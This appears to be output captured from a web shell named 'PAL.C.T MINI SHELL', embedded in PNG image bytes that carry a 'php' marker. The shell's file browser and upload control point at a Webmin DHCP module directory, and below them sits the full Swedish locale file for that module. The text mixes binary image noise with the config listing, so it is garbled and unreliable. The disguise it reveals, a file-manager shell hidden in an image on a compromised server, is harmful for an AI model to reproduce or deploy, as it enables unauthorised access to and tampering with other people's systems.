‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/dhcpd/lang/
upload
files >> //usr/libexec/webmin/dhcpd/lang/sv.auto

index_key=Redigera TSIG-nycklar (anvÀnds för att verifiera uppdateringar till DNS-servrar)
index_dhcpdver2=DHCP-servern <tt>$1</tt> verkar inte vara rÀtt version. Webmin stöder endast ISC DHCPD-versioner $2 till $3.
index_desc=Beskrivning
index_buttekey=Redigera TSIG-nycklar
index_stop=Stoppa servern
index_stopdesc=Klicka pÄ den hÀr knappen för att stoppa den körande DHCP-servern pÄ ditt system. NÀr de stoppas kan DHCP-klienter inte begÀra IP-adresser.
index_version=ISC DHCPd-version $1 
index_buttiface=Redigera nÀtverksgrÀnssnitt
index_iface=StÀll in nÀtverksgrÀnssnitten som DHCP-servern lyssnar pÄ nÀr den startas.
index_subtoomany=Det finns för mÄnga undernÀt att visa.
index_shatoomany=Det finns för mÄnga delade nÀtverk att visa.
index_sublook2=Redigera subnÀtet med adress:
index_shalook2=Redigera det delade nÀtverket:
index_hsttoomany=Det finns för mÄnga vÀrdar att visa.
index_grptoomany=Det finns för mÄnga grupper att visa.
index_hstlook2=Redigera vÀrdens namn:
index_grplook2=Redigera gruppen som heter:
index_gdom=Gruppera för $1 
index_match0=jÀmlikar
index_match1=innehÄller
index_match2=tÀndstickor
index_dhcpd=ISC DHCPd
index_delete=Radera valda

butt_leases=Listhyror

esub_desc=Subnetbeskrivning
esub_fopeer=Failover Peer

esh_pools=Adresspooler för delat nÀtverk
esh_desc=Delad nÀtverksbeskrivning

ehost_desc=VĂ€rdbeskrivning

egroup_desc=Gruppbeskrivning

listl_network=I nÀtverk $1 / $2 
listl_lfnotcont2=DHCPd-hyresfilen <tt>$1</tt> innehÄller inga hyresavtal som Àr aktiva för nÀrvarande.
listl_unknown=OkÀnd
listl_allocs=$1 IP-adresser tillgÀngliga, $2 tilldelade ($3 %)
listl_mode=VisningslÀge  :
listl_mode_0=DHCP-leasingavtal
listl_mode_1=UndernÀt och anvÀndning
listl_size=Totala IP: er
listl_used=Avsatt
listl_pc=Procentsats
listl_err=Det gick inte att ta bort hyresavtal
listl_enone=Ingen vald

listl_refresh=Uppdatera listan

restart_conftext=Linjer runt $1 i $2  :

sopt_edname='$1' Àr inte ett giltigt alternativnamn
sopt_ednum='$1' Àr inte ett giltigt alternativnummer
sopt_edtype='$1' Àr inte en giltig alternativstyp
sopt_ecval=Saknas vÀrde för anpassat alternativ '$1'
sopt_ecip=VÀrdet för anpassat alternativ "$1" mÄste vara en IP-adress

ssub_invalidfopeer=Ă€r inte en giltig failover-peer

plib_toffset=Tidsförskjutning
plib_serverid=DHCP-serveridentifierare
plib_ddnsupstyle=Dynamisk DNS-uppdateringsstil
plib_adhoc=Ad-hoc
plib_interim=TillfÀllig
plib_none=Ingen
plib_unclients=TillÄta okÀnda kunder?
plib_allow=TillÄta
plib_deny=Förneka
plib_ignore=Ignorera
plib_eexpr=Detta avsnitt av DHCP-konfigurationen innehÄller uttryckningsdirektivet $1, som inte kan redigeras sÀkert av Webmin.
plib_auth_subnet=Servern Àr auktoritativ för detta undernÀt?
plib_auth_shared-network=Servern Àr auktoritativ för detta delade nÀtverk?
plib_auth_global=Servern Àr auktoritativ för alla subnÀt?

eopt_domsearch=DNS-domÀner att söka
eopt_toffset=Tidsförskjutning
eopt_cname=namn
eopt_def=Alternativdefinition
eopt_dname=Alternativnamn
eopt_dnum=siffra
eopt_dtype=Typ
eopt_slpa=SLP-katalogagentens IP: er
eopt_slpaips=Endast dessa IP-adresser?
eopt_slps=SLP-tjÀnstens omfattning
eopt_slpsonly=Endast denna rÀckvidd?

log_stop=Stoppad DHCP-server
log_delete_subnets=$1 undernÀt och delade nÀtverk har raderats
log_delete_hosts=$1 vÀrdar och vÀrdgrupper raderade

keys_edit=Redigera TSIG-nyckel
keys_create=Skapade TSIG-nycklar
keys_title=DNS-nycklar
keys_id=Nyckel-ID
keys_alg=Algoritm
keys_secret=Hemlig strÀng
keys_ecannot=Du fÄr inte redigera DNS-nycklar
keys_err=Det gick inte att spara DNS-nycklar
keys_ekey='$1' Àr inte ett giltigt nyckel-ID
keys_esecret=Saknad eller ogiltig base-64-kodad hemlighet för nyckel $1 

eacl_uniqh=skapa vÀrdar med duplicerade hÄrdvaruadresser
eacl_uniqi=skapa vÀrdar med duplicerade IP-adresser

acl_zones=Kan redigera dynamiska DNS-zoner?
acl_per_grp_acls=Aktivera ACL: er per grupp?
acl_per_sha_acls=Aktivera ACL: er per delat nÀt?

iface_title=NÀtverksgrÀnssnitt
iface_desc=DHCP-servern kan endast tilldela IP-adresser i nÀtverk som Àr anslutna till ett av grÀnssnitten som valts nedan. NÀtverksgrÀnssnittet för alla definierade undernÀt mÄste inkluderas. Om ingen Àr vald försöker DHCP-servern hitta en automatiskt.
iface_listen=Lyssna pÄ grÀnssnitt

lookup_ehost=Det finns ingen vÀrd med namn, IP-adress eller MAC-adress $1 
lookup_ehostname=Ingen vÀrdnamn, IP-adress eller MAC-adress har angetts
lookup_egroup=Ingen grupp med namnet eller domÀnnamnet $1 finns
lookup_egroupname=Inget gruppnamn eller domÀnnamn har angetts
lookup_esubnet=Det finns inget undernÀt med adress eller adress/nÀtmask $1 
lookup_esubnetname=Ingen subnÀtadress eller adress/nÀtmask har angetts
lookup_eshared=Det finns inget delat nÀtverk med namnet $1 
lookup_esharedname=Inget delat nÀtverksnamn har matats in

zone_key=DNS-zoner
index_addzone=LĂ€gg till en ny DNS-zon.
index_zone=Zon
index_nozones=Inga DNS-zoner har definierats Àn.
zone_crheader=Skapa zon
zone_eheader=Redigera zon
zone_tabhdr=Detaljer om zonen
zone_desc=Zonbeskrivning (valfritt)
zone_name=Zonets namn
zone_primary=IP för primÀr NS
zone_return=huvudmeny
zone_faildel=Det gick inte att ta bort zonen
zone_failsave=Det gick inte att spara zon
zone_tsigkey=TSIG-nyckel
zone_ecannot=Du fÄr inte redigera DNS-zoner

plib_clientupdates=Kan kunder uppdatera sina egna poster?

text_title=dhcpd.conf
text_editor=Textredigerare
text_return=huvudmeny
text_undo=Ängra
text_ecannot=Du fÄr inte redigera konfigurationsfilen

index_buttetext=Redigera konfiguration manuellt
index_text=Redigera konfigurationsfilen manuellt text

stop_err=Det gick inte att stoppa DHCP-servern
stop_ekill=Springer inte!

sdelete_err=Det gick inte att ta bort undernÀt och delade nÀtverk
sdelete_enone=Ingen vald
sdelete_title=Radera subnÀt och delade nÀtverk
sdelete_rusure1=Är du sĂ€ker pĂ„ att du vill ta bort de $1 valda undernĂ€tterna och $2 delade nĂ€tverken? Alla andra subnĂ€t eller andra objekt i nĂ€tverket kommer ocksĂ„ att gĂ„ förlorade.
sdelete_rusure2=Är du sĂ€ker pĂ„ att du vill ta bort de $1 valda undernĂ€tterna? Alla andra objekt inom subnĂ€t kommer ocksĂ„ att gĂ„ förlorade.
sdelete_rusure3=Är du sĂ€ker pĂ„ att du vill ta bort de $2 valda delade nĂ€tverken? Eventuella subnĂ€t eller andra objekt i nĂ€tverket kommer ocksĂ„ att gĂ„ förlorade.
sdelete_ok=Radera nu

hdelete_err=Det gick inte att ta bort vÀrdar och grupper
hdelete_enone=Ingen vald
hdelete_title=Radera vÀrdar och grupper
hdelete_rusure1=Är du sĂ€ker pĂ„ att du vill ta bort de $1 valda vĂ€rdarna och $2 -grupperna? Alla andra vĂ€rdar inom grupperna kommer ocksĂ„ att gĂ„ förlorade.
hdelete_rusure2=Är du sĂ€ker pĂ„ att du vill ta bort de $1 valda vĂ€rdarna?
hdelete_rusure3=Är du sĂ€ker pĂ„ att du vill ta bort de $2 valda grupperna? Eventuella vĂ€rdar inom grupperna kommer ocksĂ„ att gĂ„ förlorade.
hdelete_ok=Radera nu
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚